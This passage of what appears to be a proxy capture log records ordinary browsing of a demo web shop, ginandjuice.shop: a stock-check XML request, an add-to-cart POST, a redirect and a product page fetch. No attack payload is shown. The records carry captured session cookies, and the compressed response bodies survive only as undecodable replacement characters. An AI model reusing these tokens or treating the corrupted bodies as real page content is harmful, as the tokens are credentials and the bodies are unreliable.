Secure\",\"X-Backend\":\"ecfca00b-5a9e-4a89-91bd-de41ecbc4611\",\"X-Frame-Options\":\"SAMEORIGIN\"},\"body\":\"\\u001f\\ufffd\\u0008\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\ufffd\\ufffdR\\ufffdn\\ufffd0\\u000c\\ufffd\\ufffd+8]*\\ufffd\\ufffd\\ufffdm7\\u0017n\\ufffd\\ufffd\\u001d6\\ufffd\\ufffda\\ufffd\\u000f(\\u00163\\u000bu\\ufffd\\ufffd\\ufffd\\ufffd\\u0019A\\ufffd}\\ufffd\\ufffd\\u0006uS\\ufffd\\u0004\\u000cX\\ufffd\\ufffd\\ufffd\\u0013\\ufffdlh\\ufffd\\u001a=\\ufffd\\ufffd\\ufffdn:\\ufffd߯\\ufffd\\u000f\\ufffdU\\ufffd\\ufffd\\u003c.Zl\\u001e\\ufffd\\ufffd~\\ufffd\\ufffd\\ufffdX{\\ufffd\\ufffdӷ.\\u0012z\\ufffd\\ufffd$-׎\\ufffd\\u000cV\\ufffd7\\ufffd\\ufffd\\ufffdX\\ufffd\\ufffd\\u00048\\u001ai\\ufffd\\u0017\\nM\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdw\\ufffdD\\ufffd\\ufffd\\u001a\\ufffd\\rV\\u00153x%i2\\ufffd$=nA\\ufffd_\\u001b2\\ufffd\\ufffd(.2;\\ufffd\\ufffd\\u001eE\\ufffd5\\ufffdL\\ufffdH3\\ufffd\\ufffd\\ufffd\\ufffdI\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\u0019l\\u000c\\ufffd3\\ufffd\\ufffdu\\u0010\\u0019|$\\ufffd\\ufffd\\ufffd\\u0001jЬ\\u0000c\\u0001\\ufffd%\\ufffd?\\ufffdk\\ufffd\\ufffd:\\ufffd+\\ufffd\\ufffd\\ufffd\\u000e\\ufffd\\nVHM\\ufffd\\u000f\\ufffdD\\ufffd0Av\\ufffd\\ufffd\\ufffd5Gx\\ufffd\\ufffdb\\u001f+\\ufffd\\ufffd\\ufffd\\\"x\\ufffd0\\ufffd?\\u000c\\u001b\\u003c\\ufffd`\\ufffd\\ufffd\\r۲\\u0019Q\\u0001aL\\ufffd\\u000cv\\ufffdX\\ufffd\\ufffd\\u0005cu\\ufffd\\ufffd\\ufffdf\\ufffd\\ufffd4͔Ԣ׽\\ufffd\\ufffd\\ufffd\\ufffd\\u0011\\ufffdH\\ufffd\\ufffdܿ\\ufffdO\\ufffd\\ufffdѤ\\ufffd\\\\D\\ufffd\\ufffd\\ufffd\\u003e\\ufffd\\ufffdt\\ufffdxg\\ufffd4\\u0015\\ufffd'\\ufffd\\u000f\\ufffd\\u0019(H\\ufffdQT\\ufffd\\u0011G\\u0005j\\u0011Rg\\ufffd\\u0007\\u001aW\\t\\ufffdp\\ufffd\\ufffd\\ufffdv\\ufffd\\ufffd\\ufffdt\\ufffd\\ufffd׾\\ufffd\\ufffd_\\u0018\\ufffd#\\ufffd`\\ufffdٶ\\ufffd\\u001f~\\ufffd\\ufffdks\\ufffd\\u000b\\ufffd\\ufffdȃ\\ufffd\\ufffd\\u0004\\ufffd\\ufffd\\ufffd\\u00078\\ufffd\\ufffdb\\ufffd\\\\;\\ufffd\\ufffd\\ufffdm\\ufffd\\u0000\\ufffd\\u000e\\u001b\\ufffd8\\u0003\\u0000\\u0000\",\"raw\":\"HTTP/1.1 200 OK\\r\\nConnection: close\\r\\nContent-Length: 420\\r\\nCache-Control: public, max-age=3600\\r\\nContent-Encoding: gzip\\r\\nContent-Type: application/javascript; charset=utf-8\\r\\nDate: Thu, 07 Sep 2023 15:33:47 GMT\\r\\nSet-Cookie: AWSALB=SPTiMN+mfMtStgumCVLwgd1VcPfrsYrAnqZCYHHQ7TRAPgUCdr/rOizYyvCKNzNUwzB293sDNclHBUdj6U5My2LYYFltNmVa4PiV/kqZAshwIro9uPCI5+IPobxn; Expires=Thu, 14 Sep 2023 15:33:47 GMT; Path=/\\r\\nSet-Cookie: AWSALBCORS=SPTiMN+mfMtStgumCVLwgd1VcPfrsYrAnqZCYHHQ7TRAPgUCdr/rOizYyvCKNzNUwzB293sDNclHBUdj6U5My2LYYFltNmVa4PiV/kqZAshwIro9uPCI5+IPobxn; Expires=Thu, 14 Sep 2023 15:33:47 GMT; Path=/; SameSite=None; Secure\\r\\nX-Backend: ecfca00b-5a9e-4a89-91bd-de41ecbc4611\\r\\nX-Frame-Options: SAMEORIGIN\\r\\n\\r\\n\"}}\n{\"timestamp\":\"2023-09-07T21:03:48+05:30\",\"url\":\"https://ginandjuice.shop/catalog/product/stock\",\"request\":{\"header\":{\"Accept\":\"*/*\",\"Accept-Encoding\":\"gzip, deflate, br\",\"Accept-Language\":\"en-US,en;q=0.9,hi;q=0.8\",\"Connection\":\"close\",\"Content-Length\":\"107\",\"Content-Type\":\"application/xml\",\"Cookie\":\"TrackingId=eyJ0eXBlIjoiY2xhc3MiLCJ2YWx1ZSI6InkyRTQ5UzdBNFdiWUVDZEYifQ==; session=rXVoplR77zJ2sMgzZWa5Cp5X2y0YMzSK; AWSALB=SPTiMN+mfMtStgumCVLwgd1VcPfrsYrAnqZCYHHQ7TRAPgUCdr/rOizYyvCKNzNUwzB293sDNclHBUdj6U5My2LYYFltNmVa4PiV/kqZAshwIro9uPCI5+IPobxn; AWSALBCORS=SPTiMN+mfMtStgumCVLwgd1VcPfrsYrAnqZCYHHQ7TRAPgUCdr/rOizYyvCKNzNUwzB293sDNclHBUdj6U5My2LYYFltNmVa4PiV/kqZAshwIro9uPCI5+IPobxn\",\"Origin\":\"https://ginandjuice.shop\",\"Referer\":\"https://ginandjuice.shop/catalog/product?productId=1\",\"Sec-Ch-Ua\":\"\\\"Chromium\\\";v=\\\"116\\\", \\\"Not)A;Brand\\\";v=\\\"24\\\", \\\"Google Chrome\\\";v=\\\"116\\\"\",\"Sec-Ch-Ua-Mobile\":\"?0\",\"Sec-Ch-Ua-Platform\":\"\\\"macOS\\\"\",\"Sec-Fetch-Dest\":\"empty\",\"Sec-Fetch-Mode\":\"cors\",\"Sec-Fetch-Site\":\"same-origin\",\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\",\"host\":\"ginandjuice.shop\",\"method\":\"POST\",\"path\":\"/catalog/product/stock\",\"scheme\":\"https\"},\"body\":\"\\u003c?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?\\u003e\\u003cstockCheck\\u003e\\u003cproductId\\u003e1\\u003c/productId\\u003e\\u003cstoreId\\u003e1\\u003c/storeId\\u003e\\u003c/stockCheck\\u003e\",\"raw\":\"POST /catalog/product/stock HTTP/1.1\\r\\nHost: ginandjuice.shop\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate, br\\r\\nAccept-Language: en-US,en;q=0.9,hi;q=0.8\\r\\nConnection: close\\r\\nContent-Length: 107\\r\\nContent-Type: application/xml\\r\\nCookie: TrackingId=eyJ0eXBlIjoiY2xhc3MiLCJ2YWx1ZSI6InkyRTQ5UzdBNFdiWUVDZEYifQ==; session=rXVoplR77zJ2sMgzZWa5Cp5X2y0YMzSK; AWSALB=SPTiMN+mfMtStgumCVLwgd1VcPfrsYrAnqZCYHHQ7TRAPgUCdr/rOizYyvCKNzNUwzB293sDNclHBUdj6U5My2LYYFltNmVa4PiV/kqZAshwIro9uPCI5+IPobxn; AWSALBCORS=SPTiMN+mfMtStgumCVLwgd1VcPfrsYrAnqZCYHHQ7TRAPgUCdr/rOizYyvCKNzNUwzB293sDNclHBUdj6U5My2LYYFltNmVa4PiV/kqZAshwIro9uPCI5+IPobxn\\r\\nOrigin: https://ginandjuice.shop\\r\\nReferer: https://ginandjuice.shop/catalog/product?productId=1\\r\\nSec-Ch-Ua: \\\"Chromium\\\";v=\\\"116\\\", \\\"Not)A;Brand\\\";v=\\\"24\\\", \\\"Google Chrome\\\";v=\\\"116\\\"\\r\\nSec-Ch-Ua-Mobile: ?0\\r\\nSec-Ch-Ua-Platform: \\\"macOS\\\"\\r\\nSec-Fetch-Dest: empty\\r\\nSec-Fetch-Mode: cors\\r\\nSec-Fetch-Site: same-origin\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\\r\\n\\r\\n\"},\"response\":{\"header\":{\"Content-Encoding\":\"gzip\",\"Content-Length\":\"23\",\"Content-Type\":\"text/plain; charset=utf-8\",\"Date\":\"Thu, 07 Sep 2023 15:33:49 GMT\",\"Set-Cookie\":\"AWSALB=II4xh/SWIyNVdqMNb9xxg7whOOfkjlkAp/GSV7a/7p/GoE6na6h0XovVJJpRLDJ4YojSVX+O84vR+vPs4ggyEa6K4A6+mHsWdAKVQpgy7EKXsvJsKwR1+SmmUThb; Expires=Thu, 14 Sep 2023 15:33:49 GMT; Path=/, AWSALBCORS=II4xh/SWIyNVdqMNb9xxg7whOOfkjlkAp/GSV7a/7p/GoE6na6h0XovVJJpRLDJ4YojSVX+O84vR+vPs4ggyEa6K4A6+mHsWdAKVQpgy7EKXsvJsKwR1+SmmUThb; Expires=Thu, 14 Sep 2023 15:33:49 GMT; Path=/; SameSite=None; Secure\",\"X-Backend\":\"ecfca00b-5a9e-4a89-91bd-de41ecbc4611\",\"X-Frame-Options\":\"SAMEORIGIN\"},\"body\":\"\\u001f\\ufffd\\u0008\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\ufffd32\\ufffd\\u0000\\u0000\\u0003\\u0004\\ufffd\\u001d\\u0003\\u0000\\u0000\\u0000\",\"raw\":\"HTTP/1.1 200 OK\\r\\nConnection: close\\r\\nContent-Length: 23\\r\\nContent-Encoding: gzip\\r\\nContent-Type: text/plain; charset=utf-8\\r\\nDate: Thu, 07 Sep 2023 15:33:49 GMT\\r\\nSet-Cookie: AWSALB=II4xh/SWIyNVdqMNb9xxg7whOOfkjlkAp/GSV7a/7p/GoE6na6h0XovVJJpRLDJ4YojSVX+O84vR+vPs4ggyEa6K4A6+mHsWdAKVQpgy7EKXsvJsKwR1+SmmUThb; Expires=Thu, 14 Sep 2023 15:33:49 GMT; Path=/\\r\\nSet-Cookie: AWSALBCORS=II4xh/SWIyNVdqMNb9xxg7whOOfkjlkAp/GSV7a/7p/GoE6na6h0XovVJJpRLDJ4YojSVX+O84vR+vPs4ggyEa6K4A6+mHsWdAKVQpgy7EKXsvJsKwR1+SmmUThb; Expires=Thu, 14 Sep 2023 15:33:49 GMT; Path=/; SameSite=None; Secure\\r\\nX-Backend: ecfca00b-5a9e-4a89-91bd-de41ecbc4611\\r\\nX-Frame-Options: SAMEORIGIN\\r\\n\\r\\n\"}}\n{\"timestamp\":\"2023-09-07T21:03:50+05:30\",\"url\":\"https://ginandjuice.shop/catalog/cart\",\"request\":{\"header\":{\"Accept\":\"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\",\"Accept-Encoding\":\"gzip, deflate, br\",\"Accept-Language\":\"en-US,en;q=0.9,hi;q=0.8\",\"Cache-Control\":\"max-age=0\",\"Connection\":\"close\",\"Content-Length\":\"36\",\"Content-Type\":\"application/x-www-form-urlencoded\",\"Cookie\":\"TrackingId=eyJ0eXBlIjoiY2xhc3MiLCJ2YWx1ZSI6InkyRTQ5UzdBNFdiWUVDZEYifQ==; session=rXVoplR77zJ2sMgzZWa5Cp5X2y0YMzSK; AWSALB=II4xh/SWIyNVdqMNb9xxg7whOOfkjlkAp/GSV7a/7p/GoE6na6h0XovVJJpRLDJ4YojSVX+O84vR+vPs4ggyEa6K4A6+mHsWdAKVQpgy7EKXsvJsKwR1+SmmUThb; AWSALBCORS=II4xh/SWIyNVdqMNb9xxg7whOOfkjlkAp/GSV7a/7p/GoE6na6h0XovVJJpRLDJ4YojSVX+O84vR+vPs4ggyEa6K4A6+mHsWdAKVQpgy7EKXsvJsKwR1+SmmUThb\",\"Origin\":\"https://ginandjuice.shop\",\"Referer\":\"https://ginandjuice.shop/catalog/product?productId=1\",\"Sec-Ch-Ua\":\"\\\"Chromium\\\";v=\\\"116\\\", \\\"Not)A;Brand\\\";v=\\\"24\\\", \\\"Google Chrome\\\";v=\\\"116\\\"\",\"Sec-Ch-Ua-Mobile\":\"?0\",\"Sec-Ch-Ua-Platform\":\"\\\"macOS\\\"\",\"Sec-Fetch-Dest\":\"document\",\"Sec-Fetch-Mode\":\"navigate\",\"Sec-Fetch-Site\":\"same-origin\",\"Sec-Fetch-User\":\"?1\",\"Upgrade-Insecure-Requests\":\"1\",\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\",\"host\":\"ginandjuice.shop\",\"method\":\"POST\",\"path\":\"/catalog/cart\",\"scheme\":\"https\"},\"body\":\"productId=1\\u0026redir=PRODUCT\\u0026quantity=1\",\"raw\":\"POST /catalog/cart HTTP/1.1\\r\\nHost: ginandjuice.shop\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\\r\\nAccept-Encoding: gzip, deflate, br\\r\\nAccept-Language: en-US,en;q=0.9,hi;q=0.8\\r\\nCache-Control: max-age=0\\r\\nConnection: close\\r\\nContent-Length: 36\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nCookie: TrackingId=eyJ0eXBlIjoiY2xhc3MiLCJ2YWx1ZSI6InkyRTQ5UzdBNFdiWUVDZEYifQ==; session=rXVoplR77zJ2sMgzZWa5Cp5X2y0YMzSK; AWSALB=II4xh/SWIyNVdqMNb9xxg7whOOfkjlkAp/GSV7a/7p/GoE6na6h0XovVJJpRLDJ4YojSVX+O84vR+vPs4ggyEa6K4A6+mHsWdAKVQpgy7EKXsvJsKwR1+SmmUThb; AWSALBCORS=II4xh/SWIyNVdqMNb9xxg7whOOfkjlkAp/GSV7a/7p/GoE6na6h0XovVJJpRLDJ4YojSVX+O84vR+vPs4ggyEa6K4A6+mHsWdAKVQpgy7EKXsvJsKwR1+SmmUThb\\r\\nOrigin: https://ginandjuice.shop\\r\\nReferer: https://ginandjuice.shop/catalog/product?productId=1\\r\\nSec-Ch-Ua: \\\"Chromium\\\";v=\\\"116\\\", \\\"Not)A;Brand\\\";v=\\\"24\\\", \\\"Google Chrome\\\";v=\\\"116\\\"\\r\\nSec-Ch-Ua-Mobile: ?0\\r\\nSec-Ch-Ua-Platform: \\\"macOS\\\"\\r\\nSec-Fetch-Dest: document\\r\\nSec-Fetch-Mode: navigate\\r\\nSec-Fetch-Site: same-origin\\r\\nSec-Fetch-User: ?1\\r\\nUpgrade-Insecure-Requests: 1\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\\r\\n\\r\\n\"},\"response\":{\"header\":{\"Content-Encoding\":\"gzip\",\"Content-Length\":\"0\",\"Date\":\"Thu, 07 Sep 2023 15:33:50 GMT\",\"Location\":\"/catalog/product?productId=1\",\"Set-Cookie\":\"AWSALB=HED+UhOe9ddVq10zx/UgyutiRdCjvmuRvh+sa/qbQGY3nnK226bQ0Jf/chpK1rFMWxQnmPtGS5sFVIOS6VzeIswsOCe/5rsJYczuq2C6wKHJXXi2MyIqRMNqclZg; Expires=Thu, 14 Sep 2023 15:33:50 GMT; Path=/, AWSALBCORS=HED+UhOe9ddVq10zx/UgyutiRdCjvmuRvh+sa/qbQGY3nnK226bQ0Jf/chpK1rFMWxQnmPtGS5sFVIOS6VzeIswsOCe/5rsJYczuq2C6wKHJXXi2MyIqRMNqclZg; Expires=Thu, 14 Sep 2023 15:33:50 GMT; Path=/; SameSite=None; Secure\",\"X-Backend\":\"ecfca00b-5a9e-4a89-91bd-de41ecbc4611\",\"X-Frame-Options\":\"SAMEORIGIN\"},\"raw\":\"HTTP/1.1 302 Found\\r\\nConnection: close\\r\\nContent-Length: 0\\r\\nContent-Encoding: gzip\\r\\nDate: Thu, 07 Sep 2023 15:33:50 GMT\\r\\nLocation: /catalog/product?productId=1\\r\\nSet-Cookie: AWSALB=HED+UhOe9ddVq10zx/UgyutiRdCjvmuRvh+sa/qbQGY3nnK226bQ0Jf/chpK1rFMWxQnmPtGS5sFVIOS6VzeIswsOCe/5rsJYczuq2C6wKHJXXi2MyIqRMNqclZg; Expires=Thu, 14 Sep 2023 15:33:50 GMT; Path=/\\r\\nSet-Cookie: AWSALBCORS=HED+UhOe9ddVq10zx/UgyutiRdCjvmuRvh+sa/qbQGY3nnK226bQ0Jf/chpK1rFMWxQnmPtGS5sFVIOS6VzeIswsOCe/5rsJYczuq2C6wKHJXXi2MyIqRMNqclZg; Expires=Thu, 14 Sep 2023 15:33:50 GMT; Path=/; SameSite=None; Secure\\r\\nX-Backend: ecfca00b-5a9e-4a89-91bd-de41ecbc4611\\r\\nX-Frame-Options: SAMEORIGIN\\r\\n\\r\\n\"}}\n{\"timestamp\":\"2023-09-07T21:03:51+05:30\",\"url\":\"https://ginandjuice.shop/catalog/product?productId=1\",\"request\":{\"header\":{\"Accept\":\"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\",\"Accept-Encoding\":\"gzip, deflate, br\",\"Accept-Language\":\"en-US,en;q=0.9,hi;q=0.8\",\"Cache-Control\":\"max-age=0\",\"Connection\":\"close\",\"Cookie\":\"TrackingId=eyJ0eXBlIjoiY2xhc3MiLCJ2YWx1ZSI6InkyRTQ5UzdBNFdiWUVDZEYifQ==; session=rXVoplR77zJ2sMgzZWa5Cp5X2y0YMzSK; AWSALB=HED+UhOe9ddVq10zx/UgyutiRdCjvmuRvh+sa/qbQGY3nnK226bQ0Jf/chpK1rFMWxQnmPtGS5sFVIOS6VzeIswsOCe/5rsJYczuq2C6wKHJXXi2MyIqRMNqclZg; AWSALBCORS=HED+UhOe9ddVq10zx/UgyutiRdCjvmuRvh+sa/qbQGY3nnK226bQ0Jf/chpK1rFMWxQnmPtGS5sFVIOS6VzeIswsOCe/5rsJYczuq2C6wKHJXXi2MyIqRMNqclZg\",\"Referer\":\"https://ginandjuice.shop/catalog/product?productId=1\",\"Sec-Ch-Ua\":\"\\\"Chromium\\\";v=\\\"116\\\", \\\"Not)A;Brand\\\";v=\\\"24\\\", \\\"Google Chrome\\\";v=\\\"116\\\"\",\"Sec-Ch-Ua-Mobile\":\"?0\",\"Sec-Ch-Ua-Platform\":\"\\\"macOS\\\"\",\"Sec-Fetch-Dest\":\"document\",\"Sec-Fetch-Mode\":\"navigate\",\"Sec-Fetch-Site\":\"same-origin\",\"Sec-Fetch-User\":\"?1\",\"Upgrade-Insecure-Requests\":\"1\",\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\",\"host\":\"ginandjuice.shop\",\"method\":\"GET\",\"path\":\"/catalog/product\",\"scheme\":\"https\"},\"raw\":\"GET /catalog/product?productId=1 HTTP/1.1\\r\\nHost: ginandjuice.shop\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\\r\\nAccept-Encoding: gzip, deflate, br\\r\\nAccept-Language: en-US,en;q=0.9,hi;q=0.8\\r\\nCache-Control: max-age=0\\r\\nConnection: close\\r\\nCookie: TrackingId=eyJ0eXBlIjoiY2xhc3MiLCJ2YWx1ZSI6InkyRTQ5UzdBNFdiWUVDZEYifQ==; session=rXVoplR77zJ2sMgzZWa5Cp5X2y0YMzSK; AWSALB=HED+UhOe9ddVq10zx/UgyutiRdCjvmuRvh+sa/qbQGY3nnK226bQ0Jf/chpK1rFMWxQnmPtGS5sFVIOS6VzeIswsOCe/5rsJYczuq2C6wKHJXXi2MyIqRMNqclZg; AWSALBCORS=HED+UhOe9ddVq10zx/UgyutiRdCjvmuRvh+sa/qbQGY3nnK226bQ0Jf/chpK1rFMWxQnmPtGS5sFVIOS6VzeIswsOCe/5rsJYczuq2C6wKHJXXi2MyIqRMNqclZg\\r\\nReferer: https://ginandjuice.shop/catalog/product?productId=1\\r\\nSec-Ch-Ua: \\\"Chromium\\\";v=\\\"116\\\", \\\"Not)A;Brand\\\";v=\\\"24\\\", \\\"Google Chrome\\\";v=\\\"116\\\"\\r\\nSec-Ch-Ua-Mobile: ?0\\r\\nSec-Ch-Ua-Platform: \\\"macOS\\\"\\r\\nSec-Fetch-Dest: document\\r\\nSec-Fetch-Mode: navigate\\r\\nSec-Fetch-Site: same-origin\\r\\nSec-Fetch-User: ?1\\r\\nUpgrade-Insecure-Requests: 1\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\\r\\n\\r\\n\"},\"response\":{\"header\":{\"Content-Encoding\":\"gzip\",\"Content-Length\":\"2459\",\"Content-Type\":\"text/html; charset=utf-8\",\"Date\":\"Thu, 07 Sep 2023 15:33:51 GMT\",\"Set-Cookie\":\"AWSALB=pP/J8f16lsfhCBOQLxBx2gL95pTIbJWbhm+SWYXVZJslAfv/IqAnVRqRQjThWb4kOcgB3DvGx/sZN+IBBSlkzBdNXp6NZQNUwkZFyEyYez/+H3CGY/gr8tlR6yEB; Expires=Thu, 14 Sep 2023 15:33:51 GMT; Path=/, AWSALBCORS=pP/J8f16lsfhCBOQLxBx2gL95pTIbJWbhm+SWYXVZJslAfv/IqAnVRqRQjThWb4kOcgB3DvGx/sZN+IBBSlkzBdNXp6NZQNUwkZFyEyYez/+H3CGY/gr8tlR6yEB; Expires=Thu, 14 Sep 2023 15:33:51 GMT; Path=/; SameSite=None; Secure\",\"X-Backend\":\"ecfca00b-5a9e-4a89-91bd-de41ecbc4611\",\"X-Frame-Options\":\"SAMEORIGIN\"},\"body\":\"\\u001f\\ufffd\\u0008\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\ufffd\\ufffdZ\\ufffdr\\ufffd6\\u0012\\ufffdާ@y\\ufffd(\\ufffd1ES\\ufffd\\ufffd\\ufffd\\\"\\ufffd\\ufffd\\ufffdiz\\ufffdc\\ufffdu\\ufffd\\ufffdݗ\\u000cDB\\u0014b\\ufffd`\\u0008P\\ufffd2\\ufffdB\\ufffd\\u001a\\ufffdd\\ufffd\\u0000H\\ufffd\\ufffdH\\ufffd2\\ufffd\\ufffd~\\ufffd\\ufffdc\\ufffd\\ufffd\\ufffd\\ufffd\\u0002\\ufffd\\ufffdbw\\ufffdѷ\\u0017\\ufffd\\ufffd\\ufffd\\ufffdu\\ufffd\\u001a\\ufffddļoF\\ufffd\\u000b\\ufffdg4#80?\\ufffd#\\ufffd\\ufffd\\u001d\\ufffd\\ufffdd:vR\\\"x\\ufffd\\ufffdD8\\u000cOT3\\ufffd:\\ufffd\\u0010\\ufffd\\ufffdq\\ufffd\\ufffd\\ufffd\\ufffd\\u000b\\ufffdP\\ufffdR\\ufffd\\ufffdB.\\u0019\\u00113Bd\\u0013\\ufffd\\ufffd\\u0000@q\\u000b0\\u0011\\ufffd\\u000f\\u0010\\u0011\\ufffdQ\\ufffd#2\\ufffd\\ufffd\\ufffd,\\u0012\\ufffdJ\\u000b\\ufffd\\u003c\\ufffd$\\ufffdckA\\u00039\\u001b\\u0007dN}b\\ufffd\\ufffd#\\ufffd\\t\\ufffd\\ufffd !\\ufffd\\ufffd\\ufffd8\\ufffdV\\tM\\ufffd)M$\\u0012\\ufffd?\\ufffdJ\\u0002}\\u0012\\ufffd\\ufffd}\\ufffd\\u0007$\\ufffdx\\u0012\\u0001x\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdcz\\ufffd\\ufffd\\ufffd\\u0003\\u001e\\u001d\\u0000#\\ufffd\\t\\ufffdL\\ufffd{\\ufffd|\\ufffdslJ\\ufffd*t\\u001c\\ufffd\\u0019\\ufffd\\ufffdG\\ufffd~n?\\ufffdC\\ufffdT2\\ufffd\\ufffdИ\\ufffd$a\\u0004\\ufffd\\u000e\\ufffd\\ufffd\\u003cF\\ufffdܿ\\ufffd\\ufffd2d\\ufffd\\ufffd\\ufffd\\u0007\\ufffd/\\ufffd\\ufffd\\u001b\\u001a\\ufffd'8J^\\ufffd_2X?t;\\ufffd\\ufffd\\ufffd1\\u0010\\ufffd\\u0019Κ\\u001a\\ufffd\\t\\u000f\\ufffd(\\u000em\\u0000.\\r\\u0018\\ufffd9\\ufffd\\ufffd\\ufffd*3\\ufffd\\ufffd\\ufffdf\\ufffd\\ufffd\\ufffdB\\ufffd\\u000c\\u000b1\\ufffd\\u000c\\ufffd\\ufffd\\ufffd\\u0018\\ufffd\\ufffdf\\ufffd\\ufffd\\ufffd\\ufffd얩\\ufffd\\ufffd\\u0019\\u0015\\u0008\\ufffd0\\n\\u0008\\ufffd\\u0013\\ufffdbI\\ufffd\\u0012\\ufffd3\\u0016\\ufffdo\\ufffdp\\ufffd \\u0013\\ufffd\\u0026O}\\ufffdG\\ufffdqh\\u0018\\ufffd\\u0000My\\ufffd$\\u0011\\ufffdơj\\ufffd$\\ufffd\\ufffd\\ufffdeё2*\\ufffd\\ufffdHM\\u0005\\ufffdD\\ufffdR\\ufffd\\ufffdH\\ufffdj*\\ufffd\\ufffd\\u0016\\ufffdqāt\\ufffd\\ufffd$U\\ufffd\\ufffd\\u0003\\ufffd\\ufffd\\ufffdx\\ufffd\\ufffd1rW\\ufffd|\\ufffdY;ب\\ufffd\\ufffd\\ufffd\\\\;4\\ufffdE5\\ufffd\\ufffd\\ufffd꓍\\ufffdY2\\ufffd\\ufffd\\u0014=-\\u000f\\ufffd\\ufffd\\t*\\ufffd\\ufffd\\ufffd8\\ufffd|\\u003cy\\ufffd\\u0018\\ufffdWk\\ufffd\\ufffd䓧\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdɛS\\ufffdG?Q\\ufffd\\ufffd\\u003e\\t\\ufffd0\\ufffd/\\ufffd\\ufffd޳ը\\ufffd`%3\\ufffd\\u0003\\ufffd\\ufffd\\u0004\\ufffd\\ufffdD;e\\ufffd\\ufffd\\ufffdaEى\\ufffd\\ufffdd\\u0012-\\ufffd\\ufffd(\\ufffd\\u0007$9\\ufffd3\\ufffd\\ufffd\\ufffd[\\ufffd\\u003c,\\u0005]\\ufffd-\\ufffd@Cú\\ufffd\\\\\\ufffd\\u0019ھ\\ufffd\\u0003\\ufffd*`\\u0015\\ufffdMSer0\\ufffdUZ\\ufffd\\ufffd\\u00116V\\ufffd\\ufffdT\\ufffdT\\ufffd\\tm\\ufffdl\\ufffdC\\u000ez\\u000c\\ufffd5\\ufffd\\u000e\\ufffd\\ufffdXCi\\ufffd\\ufffd\\u001b\\ufffd\\ufffd}b\\\\3̪E\\ufffd\\njC[\\u001ajNع\\ufffd*\\ufffd\\u000b\\ufffd\\ufffd4\\ufffd\\ufffd\\ufffd\\u003cU(\\ufffd\\u000e$\\ufffd͍tC\\\\\\u000c=ɤ\\ufffd-R\\u000c\\ufffd%\\t,\\ufffd\\ufffd\\ufffd\\u0003\\u0014Ű`@\\u0011c\\ufffdD\\ufffd\\ufffdl\\ufffd:m$x\\ufffd\\ufffd+\\ufffd\\u0026Z\\ufffdW\\ufffd\\ufffdO%\\u0016\\ufffd\\ufffdLZ޵R(\\ufffd\\ufffd\\ufffd#\\t7r2֙K\\ufffd\\ufffd\\u003c\\u000e\\ufffd2\\ufffd\\ufffd\\ufffd\\ufffd,\\ufffd6\\ufffdK\\ufffd\\u0012-\\ufffd\\ufffd\\u001c\\ufffdQ1\\u000f\\ufffd\\u0011\\u0018\\ufffd\\ufffdr}\\ufffd\\u0002\\ufffdC\\ufffd\\u0005]\\ufffd\\ufffd}h\\ufffd\\ufffd\\rL\\ufffd_\\ufffd\\ufffdNc\\ufffd\\ufffdfy\\ufffd\\ufffdi\\ufffd\\ufffd\\ufffdi\\ufffdN\\ufffd\\u000e\\ufffd\\ufffd_\\ufffd\\u0010Ѹ\\ufffd\\ufffd\\u001a\\ufffd\\u0015k\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd(\\ufffd\\ufffd\\ufffdDo\\ufffdv{\\ufffd\\u0007\\u0010\\ufffd\\ufffd\\ufffd\\u0016[s\\ufffd\\ufffd\\ufffd\\u001a\\ufffdWu\\u0004\\ufffd\\ufffdQؒ\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\u001a\\ufffdp޶\\ufffdrI\\ufffdm\\ufffdÐ\\u0011\\u0018\\ro\\ufffd\\ufffd4\\u000c\\ufffd\\ufffdhf\\ufffd\\ufffdL\\ufffd\\u0003\\ufffd\\ufffd\\ufffd*\\ufffd\\ufffd\\ufffd\\u0003\\ufffd\\ufffd\\u0008\\ufffd(\\ufffdp,\\ufffdZ\\ufffd\\ufffd\\u0019\\u003c\\u0016\\u0015\\ufffd\\ufffd\\ufffd\\ufffd\\\"\\u0002\\ufffda'\\ufffd\\ufffdj\\ufffd\\ufffd#8\\ufffdW'y\\ufffd[\\ufffd\\u003e\\ufffd\\ufffdU;\\ufffd\\ufffd\\ufffd\\u0004\\ufffd\\ufffd\\ufffd~\\ufffd\\ufffd\\ufffd]\\ufffd\\u003e\\ufffdt\\ufffd;ǹ9\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdڵ}\\ufffd@\\ufffd\\u001